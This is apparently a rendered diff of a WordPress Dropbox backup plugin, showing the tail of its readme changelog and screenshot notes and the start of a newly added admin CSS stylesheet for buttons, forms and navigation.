+ &nbsp;&nbsp;&nbsp;&nbsp;Browser cache refresh in back up and restore plugin page under WordPress.<br />
401
+ @1296429&nbsp;&nbsp;&nbsp;&nbsp;Carriage return in installation instructions.<br />
402
+ @1295049&nbsp;&nbsp;&nbsp;&nbsp;Request about "what to do, if back up not working"<br />
403
+ @1294253&nbsp;&nbsp;&nbsp;&nbsp;Revision lines was added to back up and restoration.<br />
404
+ @1293495&nbsp;&nbsp;&nbsp;&nbsp;Answer in FAQ about folder permission.<br />
405
+ @1292981&nbsp;&nbsp;&nbsp;&nbsp;Question about folder permission was added to FAQ.<br />
406
+ @1291392&nbsp;&nbsp;&nbsp;&nbsp;Tags was added.<br />
407
+ @1290489&nbsp;&nbsp;&nbsp;&nbsp;Switching from FREE to PRO plugin version.<br />
408
+ @1289603&nbsp;&nbsp;&nbsp;&nbsp;Web Server basic_auth issue will be solved.<br />
409
+ @1288063&nbsp;&nbsp;&nbsp;&nbsp;Installation instructions for users about Dropbox Back up and Restore plugin descripted.<br />
410
+ @1287201&nbsp;&nbsp;&nbsp;&nbsp;New tags was added in plugin description.<br />
411
+ @1286120&nbsp;&nbsp;&nbsp;&nbsp;Database repairing coming soon in description.<br />
412
+ @1285459&nbsp;&nbsp;&nbsp;&nbsp;Database optimization in Dropbox back up and restoration.<br />
413
+ @1284056&nbsp;&nbsp;&nbsp;&nbsp;update wpadm function for search key<br />
414
+ @1283439&nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restoration change log corrected.<br />
415
+ @1281224&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.4; WPAdm method corrected, message to recovery Dropbox Back up and restoration<br />
416
+ @1279735&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.3; Algorithm changed to create MySQL dump of Dropbox back up and restoration<br />
417
+ @1277537&nbsp;&nbsp;&nbsp;&nbsp;Dropbox back up and restoration plugin description was changed.<br />
418
+ @1276653&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.2; Performance improvement. Trying to avoid 5xx and 4xx system errors. Bug fixes. <br />
419
+ @1274884&nbsp;&nbsp;&nbsp;&nbsp;Checkbox for admins was fixed <br />
420
+ @1274875&nbsp;&nbsp;&nbsp;&nbsp;Fixed bug: checkbox to hide Dropbox backup and restore plugin from all users except admin <br />
421
+ @1273510&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.3.3 <br />
422
+ @1273409&nbsp;&nbsp;&nbsp;&nbsp;add expsys template <br />
423
+ @1279408&nbsp;&nbsp;&nbsp;&nbsp;Explanation in description of dropbox backup and restoration plugin was added.<br />
424
+ @1273303&nbsp;&nbsp;&nbsp;&nbsp;added index files <br />
425
+ @1272797&nbsp;&nbsp;&nbsp;&nbsp;Validate that dropbox backup was ended correctly. <br />
426
+ @1272337&nbsp;&nbsp;&nbsp;&nbsp;example in a question for registration in dropbox back up and restore <br />
427
+ @1271819&nbsp;&nbsp;&nbsp;&nbsp;added index to folder template <br />
428
+ @1271744&nbsp;&nbsp;&nbsp;&nbsp;question with answer about failed local back up <br />
429
+ @1271154&nbsp;&nbsp;&nbsp;&nbsp;"if exists" to database dump <br />
430
+ @1270137&nbsp;&nbsp;&nbsp;&nbsp;styling of text for 5xx errors <br />
431
+ @1269473&nbsp;&nbsp;&nbsp;&nbsp;js moved <br />
432
+ @1268234&nbsp;&nbsp;&nbsp;&nbsp;small changes in faq <br />
433
+ @1267847&nbsp;&nbsp;&nbsp;&nbsp;small changes in readme <br />
434
+ @1267005&nbsp;&nbsp;&nbsp;&nbsp;syntax <br />
435
+ @1266928&nbsp;&nbsp;&nbsp;&nbsp;update messages in dropbox backup and restore plugin<br />
436
+ @1266703&nbsp;&nbsp;&nbsp;&nbsp;syntax WP<br />
437
+ @1265985&nbsp;&nbsp;&nbsp;&nbsp;update version 1.3.2<br />
438
+ @1265068&nbsp;&nbsp;&nbsp;&nbsp;update js (shows forms)<br />
439
+ @1264052&nbsp;&nbsp;&nbsp;&nbsp;add function search element<br />
440
+ @1262500&nbsp;&nbsp;&nbsp;&nbsp;explanation about support for plugin and hosting<br />
441
+ @1261881&nbsp;&nbsp;&nbsp;&nbsp;function for plugins<br />
442
+ @1261222&nbsp;&nbsp;&nbsp;&nbsp;updated version 1.3.1(auth form)<br />
443
+ @1261188&nbsp;&nbsp;&nbsp;&nbsp;small changes in readme<br />
444
+ @1260383&nbsp;&nbsp;&nbsp;&nbsp;update styles for mobile devices<br />
445
+ @1260365&nbsp;&nbsp;&nbsp;&nbsp;updated version 1.3<br />
446
+ @1260019&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.9<br />
447
+ @1259835&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.8<br />
448
+ @1259518&nbsp;&nbsp;&nbsp;&nbsp;to compare<br />
449
+ @1259217&nbsp;&nbsp;&nbsp;&nbsp;answer fur super question about backup and restore plugins<br />
450
+ @1259203&nbsp;&nbsp;&nbsp;&nbsp;question is corrected to dropbox backup and restoration<br />
451
+ @1259182&nbsp;&nbsp;&nbsp;&nbsp;FAQ question added to dropbox backup / restore plugin<br />
452
+ @1257732&nbsp;&nbsp;&nbsp;&nbsp;added comments database backup file<br />
453
+ @1255849&nbsp;&nbsp;&nbsp;&nbsp;update styles (button)<br />
454
+ @1254709&nbsp;&nbsp;&nbsp;&nbsp;Backup as Virus protection<br />
455
+ @1253582&nbsp;&nbsp;&nbsp;&nbsp;other notes 5xx errors<br />
456
+ @1252805&nbsp;&nbsp;&nbsp;&nbsp;Answer for question "how to clone my site" was added.<br />
457
+ @1251866&nbsp;&nbsp;&nbsp;&nbsp;dropbox backup, dropbox restore: question added<br />
458
+ @1250954&nbsp;&nbsp;&nbsp;&nbsp;explanation about dropbox connection request<br />
459
+ @1250437&nbsp;&nbsp;&nbsp;&nbsp;update styles (buttons)<br />
460
+ @1249411&nbsp;&nbsp;&nbsp;&nbsp;CR added<br />
461
+ @1249102&nbsp;&nbsp;&nbsp;&nbsp;syntax backup and restoration description<br />
462
+ @1248616&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.7(update folder backup)<br />
463
+ @1248057&nbsp;&nbsp;&nbsp;&nbsp;features list<br />
464
+ @1247607&nbsp;&nbsp;&nbsp;&nbsp;tested up 4.3.1<br />
465
+ @1246330&nbsp;&nbsp;&nbsp;&nbsp;wordpress website backup and wordpress website restore plugin dashboard …<br />
466
+ @1245871&nbsp;&nbsp;&nbsp;&nbsp;dropbox backup and restore (website restore and website backup) update<br />
467
+ @1245510&nbsp;&nbsp;&nbsp;&nbsp;Added logging<br />
468
+ @1244896&nbsp;&nbsp;&nbsp;&nbsp;update sync<br />
469
+ @1244885&nbsp;&nbsp;&nbsp;&nbsp;description updated<br />
470
+ @1244750&nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore obligations<br />
471
+ @1242514&nbsp;&nbsp;&nbsp;&nbsp;pik @<br />
472
+ @1241879&nbsp;&nbsp;&nbsp;&nbsp;text update<br />
473
+ @1241570&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.6(update form setting)<br />
474
+ @1239293&nbsp;&nbsp;&nbsp;&nbsp;description and tag changed<br />
475
+ @1238734&nbsp;&nbsp;&nbsp;&nbsp;tags update<br />
476
+ @1237086&nbsp;&nbsp;&nbsp;&nbsp;syntax faq<br />
477
+ @1237081&nbsp;&nbsp;&nbsp;&nbsp;FAQ question and answer<br />
478
+ @1236213&nbsp;&nbsp;&nbsp;&nbsp;readme description changed<br />
479
+ @1235445&nbsp;&nbsp;&nbsp;&nbsp;webpage changed to website<br />
480
+ @1233859&nbsp;&nbsp;&nbsp;&nbsp;user notice added<br />
481
+ @1233133&nbsp;&nbsp;&nbsp;&nbsp;update styles(form info)<br />
482
+ @1232321&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
483
+ @1230213&nbsp;&nbsp;&nbsp;&nbsp;styles mobile devices(form)<br />
484
+ @1229216&nbsp;&nbsp;&nbsp;&nbsp;update style(button-send)<br />
485
+ @1227611&nbsp;&nbsp;&nbsp;&nbsp;tested version 4.3<br />
486
+ @1227201&nbsp;&nbsp;&nbsp;&nbsp;update styles(form info)<br />
487
+ @1223663&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
488
+ @1222885&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
489
+ @1221294&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
490
+ @1220833&nbsp;&nbsp;&nbsp;&nbsp;update styles (button)<br />
491
+ @1219935&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
492
+ @1217702&nbsp;&nbsp;&nbsp;&nbsp;version changed<br />
493
+ @1217168&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
494
+ @1216872&nbsp;&nbsp;&nbsp;&nbsp;small spell checking<br />
495
+ @1214947&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
496
+ @1214116&nbsp;&nbsp;&nbsp;&nbsp;exclude cache folder<br />
497
+ @1214080&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.5<br />
498
+ @1213546&nbsp;&nbsp;&nbsp;&nbsp;update version of WordPress<br />
499
+ @1212423&nbsp;&nbsp;&nbsp;&nbsp;restore description question<br />
500
+ @1212013&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.4<br />
501
+ @1210498&nbsp;&nbsp;&nbsp;&nbsp;update dropbox connect<br />
502
+ @1210495&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.3<br />
503
+ @1210306&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
504
+ @1209297&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
505
+ @1209294&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
506
+ @1208999&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.2<br />
507
+ @1208987&nbsp;&nbsp;&nbsp;&nbsp;Template update<br />
508
+ @1208918&nbsp;&nbsp;&nbsp;&nbsp;Update version Wordpress<br />
509
+ @1208262&nbsp;&nbsp;&nbsp;&nbsp;faq answer<br />
510
+ @1207546&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
511
+ @1206897&nbsp;&nbsp;&nbsp;&nbsp;faq answer and question<br />
512
+ @1206675&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
513
+ @1206472&nbsp;&nbsp;&nbsp;&nbsp;faq answer<br />
514
+ @1206316&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
515
+ @1205075&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
516
+ @1203513&nbsp;&nbsp;&nbsp;&nbsp;syntax corrected<br />
517
+ @1203312&nbsp;&nbsp;&nbsp;&nbsp;version changed to 1.2.9.1<br />
518
+ @1203168&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9a<br />
519
+ @1203093&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
520
+ @1203089&nbsp;&nbsp;&nbsp;&nbsp;Screenshots description<br />
521
+ @1202467&nbsp;&nbsp;&nbsp;&nbsp;Screenshot description <br />
522
+
523
+ == Upgrade Notice ==
524
+
525
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
526
+
527
+ == Screenshots ==
528
+
529
+ = Step-by-step & HOWTOs in Dropbox Backup and Restore plugin =
530
+
531
+ 1. **Main window of Dropbox Full Backup plugin.** Dropbox Backup and Restore plugin window after installation and activation.
532
+ 2. To open the main window of the plug-in, click on the item "**Dropbox Full Backup**" in main menu of your WordPress installation. WordPress menu in admin area.
533
+ 3. For **local backups** with Dropbox Full Backup plugin (saving of backups locally on server or shared hosting of your site), you do not need to make a connection to dropbox. Therefore, for a local backup is unnecessary to make any settings changes. The Local backup will work.
534
+ 4. The **Settings block of Dropbox Backup and Restore** plugin. Fill out App key and App secret to get the dropbox plugin connected with your dropbox account.<br />
535
+ **Make sure**, you use the right App key and App secret pair and this pair correspond to your right dropbox application.<br />
536
+ **This is one of the most common mistakes of our users!**
537
+ 5. **Don't forget** to click on **"Connect"** button to get the dropbox plugin connected with your dropbox account.
538
+ 6. Click **"Create Dropbox Backup"** to create backup and upload this to your dropbox account using your pair of App key and App secret.
539
+ 7. Click **"Create Local Backup"** to create local backup. The local backup will be saved locally at your shared hosting / server.
540
+ 8. Table **list of backups** (local backups and dropbox backups), that was created with Dropbox Full Backup and Restore plugin.
541
+ 9. Screen9
542
+ 10. Screen10
543
+
544
+
template/css/admin-style-wpadm.css ADDED
@@ -0,0 +1,996 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ .list-dropbox-backup-pro {
3
+ margin-top:10px;
4
+ margin-bottom:0;
5
+ }
6
+ .list-dropbox-backup-pro li {
7
+ margin-bottom: 0;
8
+ font-size:14px;
9
+ margin-left:35px;
10
+ }
11
+ .list-dropbox-backup-pro .text {
12
+ line-height: 25px;
13
+ }
14
+ .image-dropbox-pro {
15
+ width: 183px;
16
+ height: 187px;
17
+ border:2px solid #ddd;
18
+ cursor: pointer;
19
+ text-align: center;
20
+ float:left;
21
+ }
22
+ .dropbox-image-toolbar a:before {
23
+ content: url('./../../img/wpadm-logo.png');
24
+ /*background-image: ;*/
25
+ }
26
+
27
+
28
+ .folder-class {
29
+ text-align: left;
30
+ font-size: 14px;
31
+ font-weight: 400;
32
+ color:#444444;
33
+ }
34
+ .folder-class .first, .folder-class .second {
35
+ margin-left:3px;
36
+ }
37
+ .folder-class .first:after, .folder-class .second:after {
38
+ content:"/";
39
+ }
40
+
41
+ .backup_button {
42
+ -moz-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
43
+ -webkit-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
44
+ box-shadow:inset 0px 1px 0px 0px #9fb4f2;
45
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #7892c2), color-stop(1, #476e9e));
46
+ background:-moz-linear-gradient(top, #7892c2 5%, #476e9e 100%);
47
+ background:-webkit-linear-gradient(top, #7892c2 5%, #476e9e 100%);
48
+ background:-o-linear-gradient(top, #7892c2 5%, #476e9e 100%);
49
+ background:-ms-linear-gradient(top, #7892c2 5%, #476e9e 100%);
50
+ background:linear-gradient(to bottom, #7892c2 5%, #476e9e 100%);
51
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#7892c2', endColorstr='#476e9e',GradientType=0);
52
+ background-color:#7892c2;
53
+ -moz-border-radius:3px;
54
+ -webkit-border-radius:3px;
55
+ border-radius:3px;
56
+ border:1px solid #4e6096;
57
+ display:inline-block;
58
+ cursor:pointer;
59
+ color:#ffffff;
60
+ font-family:Arial;
61
+ font-size:17px;
62
+ font-weight:bold;
63
+ padding:10px 20px;
64
+ text-decoration:none;
65
+ text-shadow:0px 1px 0px #283966;
66
+ }
67
+ .backup_button:hover {
68
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #476e9e), color-stop(1, #7892c2));
69
+ background:-moz-linear-gradient(top, #476e9e 5%, #7892c2 100%);
70
+ background:-webkit-linear-gradient(top, #476e9e 5%, #7892c2 100%);
71
+ background:-o-linear-gradient(top, #476e9e 5%, #7892c2 100%);
72
+ background:-ms-linear-gradient(top, #476e9e 5%, #7892c2 100%);
73
+ background:linear-gradient(to bottom, #476e9e 5%, #7892c2 100%);
74
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#476e9e', endColorstr='#7892c2',GradientType=0);
75
+ background-color:#476e9e;
76
+ color:#fff;
77
+ }
78
+ .backup_button:active {
79
+ position:relative;
80
+ top:1px;
81
+ }
82
+ .form-counter {
83
+ background: #0096d6;
84
+ border: 1px solid #fff;
85
+ width: 95%;
86
+ margin-bottom: 20px;
87
+ margin-top: 20px;
88
+ color:#fff;
89
+ }
90
+ .log-dropbox {
91
+ background-repeat: no-repeat; background-position:center;
92
+ background-color: #fff;
93
+ height: 211px;
94
+ width: 170px;
95
+ float: left;
96
+ margin-top:-4px;
97
+ border: 1px solid #47a3ec;
98
+ border-radius:3px;
99
+ }
100
+ .block-content {
101
+ background-color: #fff;
102
+ border: 1px solid #e8e8e8;
103
+ padding: 10px;
104
+ }
105
+ #logs-form, #reviews-dropbox, #action-buttons {
106
+ float:left;
107
+ }
108
+ #logs-form, #reviews-dropbox {
109
+ padding: 10px; background: #ffffc8; border: 1px solid #0096d6; position: relative; height: 100px; text-align: center;
110
+ }
111
+ #reviews-dropbox {
112
+ float: right;
113
+ height: 150px;
114
+ width: 25%;
115
+ }
116
+ #action-buttons {
117
+ margin-right: 10px;
118
+ float:left;
119
+ margin-top:130px;
120
+ }
121
+ .form-field {
122
+ padding-top: 0px;
123
+ margin-bottom: 5px;
124
+ float: left;
125
+ margin-left:5px;
126
+ }
127
+
128
+ .title-reviews {
129
+ font-size: 20px;
130
+ margin-bottom: 24px;
131
+ margin-top:23px;
132
+ }
133
+ .desc-reviews {
134
+ font-size: 16px;
135
+ margin-top:10px;
136
+ margin-bottom: 20px;
137
+ }
138
+
139
+ .btn-danger {
140
+ background-color: #da4f49;
141
+ background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
142
+ background-repeat: repeat-x;
143
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
144
+ color: #fff;
145
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
146
+ border-radius: 3px;
147
+ font-size: 11.9px;
148
+ padding: 2px 10px;
149
+ cursor: pointer;
150
+ }
151
+ .btn-orange {
152
+ background-color: #f48326;
153
+ background-image: linear-gradient(to bottom, #cc5d00, #cc5d00);
154
+ background-repeat: repeat-x;
155
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
156
+ color: #fff;
157
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
158
+ border-radius: 3px;
159
+ font-size: 11.9px;
160
+ padding: 2px 10px;
161
+ cursor: pointer;
162
+ }
163
+ .btn-orange:hover {
164
+ color:#fff;
165
+ background-color: #f38325 ;
166
+ background-position: 0 -30px;
167
+ text-decoration: none;
168
+ transition: background-position 0.1s linear 0s;
169
+ }
170
+ .desc-wpadm {
171
+ clear: both;
172
+ color: #fff;
173
+ font-size: 13px;
174
+ /*font-style: italic;*/
175
+ }
176
+ .btn-danger:hover {
177
+ color:#fff;
178
+ background-color: #db362f ;
179
+ background-position: 0 -30px;
180
+ text-decoration: none;
181
+ transition: background-position 0.1s linear 0s;
182
+ }
183
+
184
+ .form-counter table tr td{
185
+ padding: 10px;
186
+ }
187
+ .color-picker {
188
+ margin:10px;
189
+ }
190
+ .stat_title {
191
+ text-align: center;
192
+ font-size: 24px;
193
+ margin-top: 20px;
194
+ }
195
+ .cfTabsContainer {
196
+ background-color: #0096d6;
197
+ overflow: hidden;
198
+ width:95%;
199
+ padding: 15px;
200
+ margin-bottom: 40px;
201
+ margin-top: 14px;
202
+ -webkit-font-smoothing: antialiased;
203
+ }
204
+
205
+
206
+ .button-wpadm {
207
+ background: none repeat scroll 0 0 #00d2b8;
208
+ border-color: #cdcdcd;
209
+ box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
210
+ color: #fff;
211
+ vertical-align: top;
212
+ border-radius: 3px;
213
+ border-style: solid;
214
+ border-width: 1px;
215
+ box-sizing: border-box;
216
+ cursor: pointer;
217
+ display: inline-block;
218
+ font-size: 13px;
219
+ height: 28px;
220
+ line-height: 26px;
221
+ margin: 0;
222
+ padding: 0 10px 1px;
223
+ text-decoration: none;
224
+ white-space: nowrap;
225
+ }
226
+ .wpadm-info {
227
+ font-size: 15px;
228
+ width: 30%;
229
+ margin-top:10px;
230
+ margin-left: 20px;
231
+ margin-bottom: 20px;
232
+ border-left: 1px solid #fff;
233
+ padding-left:20px;
234
+ padding-top: 20px;
235
+ height:200px;
236
+ }
237
+ .wpadm-info-title {
238
+ text-align:center;
239
+ padding:5px;
240
+ color:#fff;
241
+ font-size:20px;
242
+ }
243
+ .wpadm-registr-info {
244
+ width: 65%;
245
+ }
246
+ .wpadm-registr-info label {
247
+ color:#fff;
248
+ }
249
+ .wpadm-plugins-info {
250
+ width: 95%;
251
+ }
252
+ .services-info {
253
+ background: #fff; width: 95%; margin-top: 20px;
254
+ }
255
+ .title-services {
256
+ text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
257
+ }
258
+
259
+ .tmpl_line_body {
260
+ float: left;
261
+ margin: 0;
262
+ padding: 0;
263
+ position: relative;
264
+ width: 100%;
265
+ }
266
+ .wpadm-info-auth {
267
+ font-size: 11px;
268
+ padding-left:20px;
269
+ height:30px;
270
+ color:#fff;
271
+ margin-top: -5px;
272
+ }
273
+ #header_navigation_line {
274
+ background-color: #21759b;
275
+ background-image: linear-gradient(to bottom, #2a95c5, #21759b);
276
+ box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
277
+ height: 68px;
278
+ left: 0;
279
+ top: 0;
280
+ z-index: 1000;
281
+ }
282
+ #header_navigation_line #main_menu ul li {
283
+ display: inline-block;
284
+ float: none;
285
+ font-size: 14px;
286
+ font-weight: bold;
287
+ list-style: outside none none;
288
+ margin: 0;
289
+ padding: 0;
290
+ text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
291
+ }
292
+ .inline-right {
293
+ float:right;
294
+ }
295
+ .inline {
296
+ float:left;
297
+ }
298
+ .inline-right, .inline {
299
+ margin-top:10px;
300
+ margin-left:10px;
301
+ }
302
+ #header_navigation_line #main_menu ul li a {
303
+ background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
304
+ border: 1px solid #1b5f7f;
305
+ border-radius: 3px;
306
+ box-shadow: 1px 1px 0 0 #78c9e6 inset;
307
+ color: #dddddd;
308
+ display: inline-block;
309
+ float: left;
310
+ height: 43px;
311
+ line-height: 16px;
312
+ margin: 0 2px 0 0;
313
+ overflow: hidden;
314
+ padding: 5px 0;
315
+ text-decoration: none;
316
+ width: 90px;
317
+ }
318
+ #header_navigation_line #main_menu ul li:hover a {
319
+ background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
320
+ color: #fff;
321
+ }
322
+ #header_navigation_line #main_menu {
323
+ float: left;
324
+ margin: 6px 0 0;
325
+ width: 100%;
326
+ }
327
+ #header_navigation_line #logo {
328
+ float: left;
329
+ left: 0;
330
+ position: absolute;
331
+ top: 9px;
332
+ width: auto;
333
+ }
334
+ #header_navigation_line #main_menu ul {
335
+ float: left;
336
+ list-style: outside none none;
337
+ margin: 0 0 0 20px;
338
+ padding: 0;
339
+ text-align: center;
340
+ width: 100%;
341
+ }
342
+ #header_navigation_line #main_menu ul li .nav_icon {
343
+ float: left;
344
+ height: 24px;
345
+ margin: 0;
346
+ padding: 0 0 3px;
347
+ width: 100%;
348
+ }
349
+ #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
350
+ background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
351
+ border: 1px solid #fff;
352
+ box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
353
+ color: #fff;
354
+ }
355
+ .clear {
356
+ clear:both;
357
+ }
358
+ .plugins-info {
359
+ width:320px;
360
+ }
361
+ .plugin-box {
362
+ background: #0096d6;
363
+ border: 1px solid #e5e5e5;
364
+ box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
365
+ min-width: 255px;
366
+ position: relative;
367
+ line-height: 1;
368
+ margin-bottom: 20px;
369
+ padding: 0;
370
+ }
371
+
372
+ .plugins-info-content {
373
+ display:none;
374
+ border-top: 1px solid #fff;
375
+ margin-top:8px;
376
+ padding-top: 7px;
377
+ }
378
+ h3.plugins-title {
379
+ font-size: 14px;
380
+ line-height: 1.4;
381
+ margin: 0;
382
+ }
383
+ .plugins-title a {
384
+ color:#fff;
385
+ text-decoration: none;
386
+
387
+ }
388
+ .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
389
+ float:left;
390
+ color:#fff;
391
+ }
392
+ .button-wpadm:hover {
393
+ border-color:#cdcdcd;
394
+ background-color: #009583;
395
+ }
396
+ .wpadm-red:hover {
397
+ border-color:#737373 ;
398
+ background-color: #ff706c;
399
+ }
400
+ .wpadm-red {
401
+ background: none repeat scroll 0 0 #f21111;
402
+ border-color: #c7c6ce;
403
+ box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
404
+ }
405
+ .info-detail {
406
+ background:#bee7e7;
407
+ }
408
+ .table {
409
+ margin:0px;padding:0px;
410
+ width:100%;
411
+ border:0px;
412
+ border-collapse: collapse;
413
+ border-spacing: 0;
414
+ width:100%;
415
+ height:100%;
416
+ border: 1px solid #b7c6ff;
417
+ border-radius: 3px;
418
+ margin-top: 60px;
419
+
420
+ }
421
+ .table th {
422
+ padding: 7px;
423
+ background-color:#dde4ff;
424
+ font-size:16px;
425
+
426
+ }
427
+ .title-logs, .title-status {
428
+ margin-bottom: 10px;
429
+ }
430
+ .help-key-secret {
431
+ font-size: 11px;
432
+ text-align: right;
433
+ color:#fff;
434
+ cursor: pointer;
435
+ }
436
+ .help-key-secret:hover {
437
+ color:#fff;
438
+ text-decoration:underline;
439
+ }
440
+ #log-backup div {
441
+ font-size:12px;
442
+ }
443
+ .table td {
444
+ background: #fff;
445
+ font-size: 12px;
446
+ padding: 5px 0;
447
+ border-bottom:1px solid #b7c6ff;
448
+ text-align: center;
449
+ }
450
+ .info-path td {
451
+ font-size: 11px;
452
+ padding:0px;
453
+ }
454
+ .table tr:last td {
455
+
456
+ border-bottom: 0px;
457
+ }
458
+ .header-table {
459
+ font-size:20px;
460
+ }
461
+
462
+ .stat {
463
+ width: 200px;
464
+ }
465
+
466
+ .w1{
467
+ width:5%;
468
+ }
469
+ .w2{
470
+ width:13%;
